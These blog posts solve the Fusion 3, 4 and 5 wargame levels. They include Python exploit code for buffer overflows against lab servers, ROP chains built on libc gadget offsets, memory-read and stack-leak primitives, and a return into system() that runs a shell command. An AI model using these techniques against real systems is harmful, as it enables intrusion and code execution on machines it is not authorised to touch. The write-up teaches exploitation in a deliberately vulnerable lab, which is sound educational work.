Fusion 5

Good day guys, Today we will work on Fusion 5. As far as I know, the only other solution for it online was done by my friend Ariel Koren in his blog. Ariel and myself have worked on it in the same time, and what is so cool in this field is that our solutions are completely different from one another. After you are done with reading my solution, go check out his solution to see different way to solve the same problems 🙂

The challenge ahead

Beautiful picture to get you to keep reading

As with the previews levels of this Fusion series, again we are faced with a server that receives connections, and again we need to find and exploit a few bugs in order to get a working Remote-Code-Execution (RCE). Again we face Position Independent Executable (PIE), Address Space Layout Randomization (ASLR), none-executable-stack and heap, and source fortification.

After reading the source, we know that we are dealing with a server that has 5 commands, we will have to find a bug in at least one of them in order to get our RCE. The commands are:

addreg - Registers a server in the db
senddb - Sends the db to a chosen host and port
checkname - recives a server name and tells if it is indexed in the db
quit - Ends the session of our connection
isup - Tries to connect to all of the hosts in the db
       sends each of them its db entry.

Each of those commands is executable by a “task” we know that because we see reference to the function “taskcreate” in the source. This is really bad news, for anyone who doesn’t know what is a task. I can tell that the definition is kinda fuzzy but usually when someone talks about tasks they mean user-mode-thread. If it is the case in here, we should know that:

  1. Every task has its own stack.
  2. All of the tasks share the same address space.
  3. If we crash one task the whole program will crash.

If we are right about how the program works with tasks, After we will find a buffer overflow and crash the program, Our work will be 100 times harder than in the previews challenges in this series. Spoiler-alert, the internet is filled with solutions to Fusion:0, 1 ,2 ,3 ,4.  Not for Fusion 5. But we are getting ahead of our selves.

Writing a working client

I write my client which is quit simple, I pulled my hair about why I don’t get response from this line:

printf("registration added successfully");

I connected with a debugger and made sure my input for addreg is working, and the printf is being called (It is optimized into puts). and then I saw

Which teaches us that we are not getting the output of stdout. That makes sense because the server supports multiple clients on the same process. And file descriptors are unique per process.

 
#! /usr/bin/env python
import socket
import time

PORT = 20005
HOST = "VM"

def setup_session(source_port = None):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((HOST, PORT))
  return s

def send_command(s, command, wait_for_output):
  command += "\n"
  s.send(command, len(command))
  time.sleep(0.1)
  if wait_for_output:
    return s.recv(100)

def send_checkname_command(s, text, read_output = True):
  return send_command(s, "checkname " + text, read_output)

def send_addreg_command(s, text, read_output = True):
  return send_command(s, "addreg " + text, read_output)

def main():
  s = setup_session()
  print send_checkname_command(s, "Name")
  send_addreg_command(s, "Name 0 8.8.8.8", False)

I run this client and get this output:

$ python fusion5.py 
** welcome to level05 **
Name is not indexed already

None

It is kind of working and I move on to search for the buffer overflow.

The Buffer overflow

After carefully reading the source I noticed he function senddb. The passes over all of the lines in the database (actually array of struct registrations) copies all of the non-empty entries in this array to a buffer and sends the buffer to a given server. What was weird in my eyes is that the buffer is in the size of 512 bytes, while every entry in the array is 6 bytes.  512 is not divisible by 6 (because it is not divisible by 3). which means something here is fishy. multiplying the size of the database (128) by the size of each entry(6) gives us 768 bytes. which means that we can overflow our buffer by 256 bytes. This should be pretty good. now let’s see how can we control the data in this array.

In order to add an entry into the array, we need to use the addreg command. This command receives a host name, ip and flags (short number), and adds this name into the database with its flags, the index in the database that would be used for this entry is a hash that is calculated on the host name. After thinking about it, we can “break” the hash by implementing the hash function in python, and finding a suitable name for every entry in the hash table (Simply by brute-forcing names.)

I did it, and now I can make sure the database struct is full with whatever I want in every index. This way I can control the data that I overwrite the struct with and I even managed to crash the program.

But, considering it more carefully, I can’t really write what every I want into this struct (and later the stack overflow) because of those 2 line inside addreg function:

it means that if the flags part of the entry can not have any bit that are not in 0x00e0 on. At first I thought I can maybe work out something with it, but it really complicates my work. basically it means I really control only 4 out of every 6 bytes of the overflow. After I banged my head against the wall trying to think of how do I continue from here.

On one hand, the previous levels all had some kind of pseudo-cryptographoic challenge. So it makes sense that I need to use this trick with the hash table. On the other hand, we don’t have the address of the main binary, we don’t have the address of libc- or any other lib for that matter. We don’t have the stack address, and we can’t brute-force address because the program will crash and that’s it.

Fuck it, We need another buffer overflow

We go back to the source code, and we try to find another buffer overflow. We find out that the function get_and_hash receives a buffer, max_size for that buffer and a separator. it copies the buffer into a local stack buffer until reaching the separator, but without considering max_size. Well max_size is only tested to make sure its not bigger than the length of the local buffer. The input buffer is not validated against max_size. As if the function assumes that no one will pass a buffer longer than max_size. Guess who passed a buffer longer than max size? That’s right, I did 🙂

This function is called from the command checkname on the name to be checked and returns a hash for this name. Unless of course we overflow it. I call this function from the main in my client while being connected with the debugger:

  print send_checkname_command(s, "a" * 50)

Meanwhile in gdb:

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
1: x/5i $eip
Disabling display 1 to avoid infinite recursion.
=> 0x61616161: Cannot access memory at address 0x61616161
(gdb) i r
eax 0x11 17
ecx 0x61 97
edx 0x2c50 11344
ebx 0xb783811c -1216118500
esp 0xb8d38c10 0xb8d38c10
ebp 0x61616161 0x61616161
esi 0x61616161 1633771873
edi 0x61616161 1633771873
eip 0x61616161 0x61616161
eflags 0x10296 [ PF AF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

We have a buffer overflow and we control most of the registers. Want to know how do we exploit it? Want to know how do we overcome ASLR? Read the next post in this series 🙂

Fusion 4 Part 2

Hey guys and girls,

Here is a short recap of what we have and where we are standing, Fusion 4 – web server that works by forking a new child for each connection. We found a buffer overflow, we bypassed Source Fortification (Canary), we Found the load address of the binary and this way bypassed Position Independent executable (PIE).

For anyone who hasn’t read Fusion 4 – part 1 This is the time to go and read it 🙂

Game plan:

  1. Understand what are primitives.
  2. Find the main binary.
  3. Find Libc.
  4. Return into system with whatever commands you want to run on the target machine.

Primitives

I think it now is the time to talk about primitives. What are primitive in this exploitation world you might ask yourself. Well, a primitive, as suggested by it’s name is our ability to do something very simple and primitive. A real world exploit might be very complicated, but to understand how it works and to develop it, we will think and work with much simpler “tools” each of those tools will be called a primitive.

For example, Let’s say we found a way to read the content of a given address. We would call it an absolute memory read primitive. Or let’s say we know how to write whatever we want into a given address, that is an absolute memory write primitive. From now on we will try to talk and think in that new language. Because this is how the big boys talk.

New Game plan:

  1. Find an absolute memory read primitive.
  2. Read an address on the stack (Find the location of the stack)
  3. Read the location of libc by reading the .got.plt.
  4. Use the location libc, and the stack buffer to return into the function system in libc.

Absolute memory read primitive

As we have seen before, one of the most useful tools for breaking ASLR and exploiting vulnerabilities is having the Absolute memory read primitive. This primitive, in simple language it is the ability to read the content of any memory address we would like.

In earlier stages we got it by roping into printf with %s as format string, and a pointer to libc  we know we have in a constant offset in the main binary as the parameter to printf. We don’t need to reinvent the wheel and we will do it again in this stage. The only thing I have to say about it is that in this binary we had the address of __fprintf_chk and not of printf. (Remember we have the address of the binary and not of libc, so we can only call functions in the main binary).

Assume x is where the return address of the function was. Assume the format string of the printf contains %s

Here is the new code for this part.

def memory_read(password, canary, ebx, main_exe, address, length): 
  rop = [ 
  main_exe + 0xfc0, # address of _printf_chk 
  main_exe + 0xeb0, # address of exit, 
  1, # printing to stdout 
  main_exe + 0x2e66,# "Server: %s\r\n" 
  address,# address to read 
  ] 
  payload = ebx + "a" * 12 + ropchain_to_payload(rop) 
  memory = send_overflowed_request(password, canary, payload) 
  # Triming the output. 
  memory = memory[len("Server: "): -1 * len("\r\n")] 
  memory = memory[:length] 
  return memory 
 
def get_libc_address(password, canary, ebx, main_exe): 
  # reading the address of open in the .got.plt of the main exe 
  address_of_open = memory_read(password, canary, ebx, main_exe, main_exe + 0x41a4, 4)
  libc_address = buffer_to_address(address_of_open) - 0xc0b60 
  return libc_address 

def main(): 
  password = brute_force_password() 
  print "password is ", password 
  canary = brute_force_canary(password) 
  print "canary is ", canary.encode("hex") 
  # ebx, esi, edi, ebp, eip 
  ebx = brute_force_ebx(password, canary) 
  print "ebx is ", ebx.encode("hex") 
  main_exe = buffer_to_address(ebx) - 0x4118 
 
  raw_input("press any key to continue") 
  libc = get_libc_address(password, canary, ebx, main_exe) 

I run and test it, and it works.. Now we have the memory read primitive and the address of libc. We can cross items number 1 and 3 from our game plan.

Stack read primitive

Like I said, we want to be able to know the address of the stack pointer (which is changed by ASLR for each time the process restarts). To do that we will build a stack read primitive. Our stack read primitive will work just like the memory read primitive, the only difference is that we will not supply the printf format with a format string, this way whatever is on the stack after our overflow will be used as a pointer to a format string, with a little bit of luck* the stack will contain a pointer to a pointer to a stack address.

* Well, no luck is needed because saved ebp points to previous saved ebp until the first function call of the program. So we should be able to find one of these saved ebps.

After testing what I said in the previous 2 paragraphs, I figured out that in our case, After writing on the stack the overflow we need for memory read, we don’t have any saved ebp on the stack, It sucks, but we will have to find a different way to get our esp.

Stack read primitive – take 2

We already know how to read a given address in our memory. What if we could write the stack pointer into a given address and than read from it?

If you recall, In Fusion 3 I found out that we have the following gadget in libc:

1:
Push $esp
Jmp $esi

2:
Pop $ecx
Pop $edx
Ret

3:
Xchg [$edx], $ecx
Ret

Together I can write the stack pointer into whatever memory address I want. And later read from there with the memory read primitive we have. All I have to do is to find an address I can write into, and chain the memory read with the memory write of esp.

gadgets 1,2,3 will write ESP into “Storage for esp”. Rest of the stack will be used to print the content of “Storage for esp”

I did it and got an address which is 0x813 bytes from the end of my password in the buffer I control. Now I will pass a bash line on this buffer, call system and win.

new function:

 
def get_stack_address(password, canary, ebx, main_exe, libc_address): 
  # Unused in the .bss section 
  esp_storage = main_exe + 0x467f 
  rop = [ 
  # Writing esp to esp_storage 
  libc_address + 0x0015ffc9, # push esp; jmp esi 
  
  # pop ecx; pop edx; ret - in esi 
  esp_storage, 
  libc_address + 0x001633a0, # xchg [edx], ecx; ret 
  
  main_exe + 0xfc0, # address of _printf_chk 
  main_exe + 0xeb0, # address of exit, 
  1, # printing to stdout 
  main_exe + 0x2e66,# "Server: %s\r\n" 
  esp_storage, 
  ] 
  # second gadget 
  new_esi = address_to_buffer(libc_address + 0x0002da2b) 
 
  payload = ebx + new_esi + "1234" + "\x00"*4 + ropchain_to_payload(rop) 
  memory = send_overflowed_request(password, canary, payload) 
  # Triming the output. 
  memory = memory[len("Server: "): -1 * len("\r\n")] 
 
  # sizeof address 
  length = 4 
  memory = memory[:length] 
  # 0x813 is the distance between the address I get and the end of the 
  # password in the details buffer in validate_password. 
  return buffer_to_address(memory) - 0x813 

Exploit

The exploit is trivial, after we have the address of libc, and our buffer. We will overflow, return into the function system with our buffer as a parameter. The buffer will contain whatever we would like to run in system. If you really want to see it in code, look at any of the previous articles in this series 🙂

Fusion 3

Hello boyz and girlz. Today I will solve fusion 3. But I must go play Sattelers of Catan with friends later so let’s make it quick 😀

There is an old saying that goes something like: “Fast is slow, slow is fast, do it once and do it right.” So we will try to work in baby steps in order to finish this post and exploit fast… btw remember it next time you play an escape room.

First thing we do is go and read the code of Fusion-3. Take as much time as we need to understand what it should do..

Here is what I understood:

  1. It is some kind of web server.
  2. It allows us to post articles after authentication.
  3. Every connection is forked and therefore has the same address space of the parent process. Which means infinite number of times we can crash the program in our solution.

Game plan:

  1. Read the code and find the vulnerability.
  2. Write a working client for this server.
  3. Find the address of libc
  4. Use the legitimate code flow to store a string in one of the 2 globals that can store strings (gContents or gTitle)
  5. Call system on this string
  6. Win this game of Catan with friends

* I read the code again and we can’t do it. These globals are just pointers, the actual strings will be malloced I would have to deference them to make it work. Let’s find libc and then decide how to continue

Crashing the program

To find the vulnerability I search for ‘[‘ in the code, because I am looking for arrays. Specifically looking for bugs in handling of arrays. Pretty fast I understand that the arrays I can work with are either title or content in the function handle_request, and that the bug must be in decode string.

If you look carefully at the loop in the function. If somehow we manage to increase dest so that dest > end when the condition is tested we get can overflow the buffer and stop at /0. I bealive that we found an overflow. But we will have to test it.

Consider the loop condition

Our next job is to write a working client…

Because the program do not print it’s errors, I connect with ssh to the VM that runs the machine, and using gdb  I place a breakpoint on the function errx, every time my client fails I try to understand why.

Basically we need to send a request that looks like this:

// TOKEN
{
json
}

But the request must also match a certain hash function. The first 2 bytes of the hmac-sha1 hash of the entire request must be 0. I do it by adding a comment at the end of the request and brute forcing values. I work on my client until I get the error message “Unable to parse request”, fair error for a request of “a”* 128 :D. Anyway it means that my request passed the hash test. Which is what I was going for. I change the json body to something that should trigger the function decode_string, make sure it triggers decode_string with a debugger. and then save it up as a working client.

#! /usr/bin/env python 
import socket 
from hashlib import sha1 
from string import ascii_letters 
import hmac 
import random 
 
PORT = 20003 
HOST = "VM" 
 
def create_a_session(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  s.connect((HOST, PORT)) 
  # The token is sent to us with \" before and after 
  token = s.recv(1000)[1:-2] 
  return s, token 
 
def find_working_placeholder_for_mac(token, request): 
  request = request + "\n //" 
  expected_len = len(request) + 6 
  # WTF?!? what kind of stupid bug is this? 
  # request must be in even length 
  if (expected_len % 2) != 0: 
    request += " " 
 
  while True: 
    word = ''.join(random.sample(ascii_letters, 6)) 
    new_request = "%s%s" % (request, word) 
    hashed = hmac.new(token, new_request, sha1) 
    hex_digest = hashed.hexdigest() 
    if(hex_digest.startswith("0" * 4)): 
      print "found a placeholder for the digest, len = %x token_len = %x" %(len(new_request), len(token))
      return new_request 
 
def send_a_request(s, token, json): 
  request = "{token} \n {json}".format(token = token, json = json) 
  new_request = find_working_placeholder_for_mac(token, request) 
  s.send(new_request)

def main(): 
  s, token = create_a_session() 
  send_a_request(s, token, "{\"title\" : \"Rick and Morty\"}") 
  print s.recv(1000) 
 
if __name__ == "__main__": 
  main() 

I write the code to overflow the buffer in decode_string. I chose the title buffer because it’s the first variable in the function which means It should be closest to the return address of the function. I had some small bugs in my code  my code is perfect on the first try!

I get to this point:

(gdb) info registers 
eax            0xffffffff       -1
ecx            0xb75a2398       -1218829416
edx            0xffffffff       -1
ebx            0x62626262       1650614882
esp            0xbff2fc70       0xbff2fc70
ebp            0x62626262       0x62626262
esi            0x62626262       1650614882
edi            0x62626262       1650614882
eip            0x62626262       0x62626262
eflags         0x10286  [ PF SF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

As you can see I control most registers. I save the client script and start working on the exploit itself 🙂

def build_json_tag(tag, value): 
  return "\"{}\" : \"{}\"".format(tag, value) 
 
def build_overflowed_title(payload): 
  data = "a" * 127 
 
  # The 128th byte is not an overflowed byte yet. 
  # The 16 bytes are local vars and stuff that dosn't matter. 
  # They are being written before being read.
  payload = "\x00" + "a" * 16 + payload 
  for i in xrange(len(payload)/2): 
    byte1 = ord(payload[i * 2]) 
    byte2 = ord(payload[i * 2 + 1]) 
    data += "\\\\u%.4x" %(byte1 * 0x100 + byte2, ) 
 
  # adding bytes with /u adds 2 bytes at a time. 
  if (len(payload) % 2 == 1) and ord(payload[-1]) == 0: 
  raise "last byte of even length payload must not be zero" 
 
  if (len(payload) % 2 == 1): 
    data += payload[-1] 
 
  if "\x00" in data: 
    raise "bug in code, \x00 should be encoded by now." 
 
  return build_json_tag("title", data) 
 
 
def main(): 
  s, token = create_a_session() 
 
  # order of registers we control: ebx, esi, edi, ebp, eip 
  json = "{%s}" % (build_overflowed_title("b" * 20), ) 
  send_a_request(s, token, json) 

leaking the info

Now we need to figure out what can we do with it… excuse me. I meant to say: Now we need to figure out how do we find libc with what we have. On a personal note, this is the part I like the most in this kind of work. Because it is like solving a giant complicated Sudoku puzzle.

Well the trick with printing stuff we did in fusion 2  will not work here. The reason it won’t work is that the program closed stdin, stdout and stderror. So we will not get any output from printing them.

What can we do? We can use any function in the import table of the main binary. And we can use any function inside the binary (Because this is not compiled as Position Independent code), the load address of the binary is static. And we can use any constant we need as a function argument.

This is pretty much all of the external functions we can use. Take your time and try to think if you know how can we get the address of libc.

After thinking about it I figured out we can build an absolute read primitive from what we have by doing this:

  1. Pass serverip as our ip address,
  2. Pass a contents with whatever length we want to read. Just to set gContents_len with the length of the data we want to read.
  3. Rop into memcpy(gContents, address_to_read, 4) and then post_blog_article. This will cause the program to copy from whatever address we want into the global gContent, and then read from this address and send it to our IP address in HTTP format! We will read the address of a function in .got.plt and will calculate the offset of libc.

I code this up and it works! Now we have the address of libc and we can read any address we would like in the program’s address space. Just needs to find the address of a buffer we control

def get_local_ip(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 
  s.connect(("VM", 0)) # connecting to a UDP address doesn't send packets 
  return s.getsockname()[0] 
 
def recive_data_on_tcp_port(port): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
  s.bind(("", port)) 
  s.listen(1) 
  conn, address = s.accept() 
  data = conn.recv(1024) 
  conn.close() 
  s.close() 
  return data 
 
def ropchain_to_payload(rop_chain): 
  payload = "" 
  for number in rop_chain: 
    payload += struct.pack("I", number) 
  return payload 

def memory_read(address, length): 
  s, token = create_a_session() 
 
  # order of registers we control: ebx, esi, edi, ebp, eip 
  payload = "b" * 16 
  rop_chain = [ 
  0x8048e60, #memcpy 
  0x8049205, #3 pops and return(return address for memcpy) 
  0x804bdf4, #gContent (1st param for memcpy) 
  address , #dest for memcpy 
  0x0000004, #length for memcpy 
  
  0x8049f20, #post_blog_artical(second function call) 
  
  0x8048f80, # exit (third function call) 
  ] 
  payload += ropchain_to_payload(rop_chain) 
  title = build_overflowed_title(payload) 
  ip = build_json_tag("serverip", get_local_ip() + ":1337") 
  contents = build_json_tag("contents", "a" * length) 
  json = "{%s, %s, %s}" % (ip, contents, title) 
  send_a_request(s, token, json) 
  s.close() 
 
  # the line of contents is line number 6. 
  response = recive_data_on_tcp_port(1337).splitlines()[6] 
  return response 
 
def get_libc_address(): 
  # address of open in .got.plt 
  address_of_open = struct.unpack("I", memory_read(0x8048c32, 4))[0] 
  return address_of_open - 0xc0b60 
 
def main(): 
  libc_address = get_libc_address() 
  print "address of libc is : ", hex(libc_address) 
  print hex(struct.unpack("I", memory_read(0x804be04, 4))[0]) 

 

Hammm now that I can memory read whatever I want*, we need to figure out how to use it to get the address of a buffer we can control. Well I can do the rop-exploition-with-adddress-of-libc-only. But I am keeping this ace for some later exercise in this series.  And besides, I am feeling adventurous.

* If you think about it, we don’t exactly have the ability to read wherever we want yet, we have a memory read primitive that recives a pointer to a pointer to the data we want to read, (instead of a pointer to that data). Which is not ideal. But for now it will do because we know a place which has a pointer to a pointer to imported functions and we can find libc with it..

Some more primitives in libc

My first thought was I must be able to somehow read the address of a heap data structure to predict the next(actually previous) heap allocation – This program relies heavily on heap allocations and I am sure I can find one of my buffers on the heap. The problem with it is that my memory read requires 2 level of pointing, kind of like calling printf(“%x”, *pointer_to_pointer_to_data). Which is kind of lame… I Couldn’t find this pointer to pointer to my address I was looking for. And besides, I want to practice my ropping skills..

After running ropgadget on libc I found the following 3 gadgets (short sequence of opcodes):

1: 
Push $esp
Jmp $esi

2:
Pop $ecx
Pop $edx
Ret

3:
Xchg [$edx], $ecx
Ret

We will run them in the order they are written in. But let’s consider them backwards to understand what they are doing.

Number 3, allows us to write whatever we want wherever we want, (As long as we control $edx and $ecx).

Number 2, lets us control $edx and $ecx. We can write whatever we want where ever we want (yay!).

Number 1, allows us to use the stack pointer as a part of our rop by pushing it and jumping to an address (as opposed to pushing it and returning into it.)

This allows me to write the address of $esp into anywhere I want. What If I will write it into gContents? When the program will try to print gContents it will print the contents of the stack instead!

I wrote it and it works. After getting the address of the stack, by reading the stack and searching for a pointer to a stack variable on it, I found one with constant distance from a buffer on the stack I control, (char title[128]). Wrote the simple POC exploit we all love: return into system(“touch /tmp/a”)

def get_stack_address(libc_address): 
  s, token = create_a_session() 
 
  # order of registers we control: ebx, esi, edi, ebp, eip 
  esi = struct.pack("I", libc_address + 0x0002da2b) 
  payload = "b" * 4 + esi +"c" * 8 
  rop_chain = [ 
  libc_address + 0x0015ffc9, 
  
  # after the first gadget, esp will be there. 
  0x804bdf4, # gContents 
  
  libc_address + 0x001633a0, 
 
  0x8049f20, 
  ] 
  payload += ropchain_to_payload(rop_chain) 
  title = build_overflowed_title(payload) 
  ip = build_json_tag("serverip", get_local_ip() + ":1337") 
  contents = build_json_tag("contents", "a" * 300) 
  json = "{%s, %s, %s}" % (ip, contents, title) 
  send_a_request(s, token, json) 
  s.close() 
 
  # the line of contents is line number 6. 
  response = recive_data_on_tcp_port(1337).splitlines()[6] 
  address_on_stack = struct.unpack("I", response[20:24])[0] 
 
  # This stack address we find is exectly 204 bytes away from the address of 
  # title. 
  return address_on_stack - 204 

def exploit(libc_address, address_of_title): 
  s, token = create_a_session() 
 
  # order of registers we control: ebx, esi, edi, ebp, eip 
  payload = "b" * 16 
  rop_chain = [ 
  libc_address + 0x3cb20, #adddres of system 
  libc_address + 0x329e0, #adddres of exit, return address for printf 
  address_of_title # buffer for system 
  ] 
  payload += ropchain_to_payload(rop_chain) 
  title = build_overflowed_title(payload, "touch /tmp/a; ") 
  ip = build_json_tag("serverip", get_local_ip() + ":1337") 
  contents = build_json_tag("contents", "a" * 300) 
  json = "{%s, %s, %s}" % (ip, contents, title) 
  send_a_request(s, token, json) 
  s.close() 
 
def main(): 
  libc_address = get_libc_address() 
  print "address of libc is : ", hex(libc_address) 
  address_of_title = get_stack_address(libc_address) 
  exploit(libc_address, address_of_title)

 

btw, I won that game. Always invest in production when playing Catan!